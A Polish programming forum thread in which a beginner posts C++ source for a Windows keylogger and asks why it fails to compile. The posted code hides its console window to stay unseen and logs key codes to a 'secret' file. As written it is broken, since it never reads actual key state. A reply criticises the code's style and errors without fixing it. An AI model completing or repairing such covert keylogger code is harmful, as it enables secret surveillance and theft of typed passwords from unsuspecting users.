Wątek przeniesiony 2020-12-30 21:56 z C/C++ przez Shalom.

problem z programem key logger

0

Od pewnego czasu próbuje napisać keyloggera w C++, tak wygląda mój kod

#include <iostream>
#include <fstream>
#include <windows.h>
#include <winuser.h>
int save (int key_stroke, char *file)
{
	if ((key_stroke == 1) || (key_stroke == 2))
		return 0;

	FILE*OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
	else if(key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
	else if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT]");
	else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS]");
	else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
	else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "CAPS LOCK]");
	else if(key_stroke == 9) fprintf(OUTPUT_FILE, "%s", "[TAB]");
	else if(key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "[\n]");
	else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME]");
	else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END]");
	else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE]");
	else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP]");
	else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT]");
	else if (key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN]");

	else fprintf(OUTPUT_FILE, "%s", &key_stroke);

	fclose(OUTPUT_FILE);
	std::cout << key_stroke;
}
void stealth() //Ukruwanie okna
{
	HWND stealth;
	AllocConsole();
	stealth = FindWindowA("ConsoleWindowsClass", NULL);
	ShowWindow(stealth, 0);
}

int main()
{
	stealth();
	char i;
	while (1)
	{
		for (i = 8; i <= 190; i++)
		{
			save(i, "TAJNE.txt");
		}
	}
	system("PAUSE");
	return 0;
}

Wydaje mi się że wszystko jest ok, ale program (Visual Studio 2017) wciąż wykrywa błąd.
Pomocy!!!

0

Proponuje zanim zostaniesz hackerem, popracować nad fundamentami. Nauczyć się pisać proste ale w poprawnym stylu programy.

  • magiczne liczby
  • słowa ale program (Visual Studio 2017) wciąż wykrywa błąd. wzbudzają tu śmiech albo uszczypliwe uwagi o szklanej kuli
  • słow 'Pomocy' ma skutek odwrotny
  • zmiennych jak OUTPUT_FILE tradycyjnie się NIE pisze wielkimi literami
  • autorski zamiar, jaki ma main zna tylko Twoj psychoanalityk. Co to za sieczka?
  • fprintf ma w przynajmniej jednym przypadku źle agrunemty
  • ten program nie ma nic z C++ oprócz includa. Akurat strumienie C++ by uratowały błąd fprintfa
  • użycie switch
  • wiele innych ...

1 użytkowników online, w tym zalogowanych: 0, gości: 1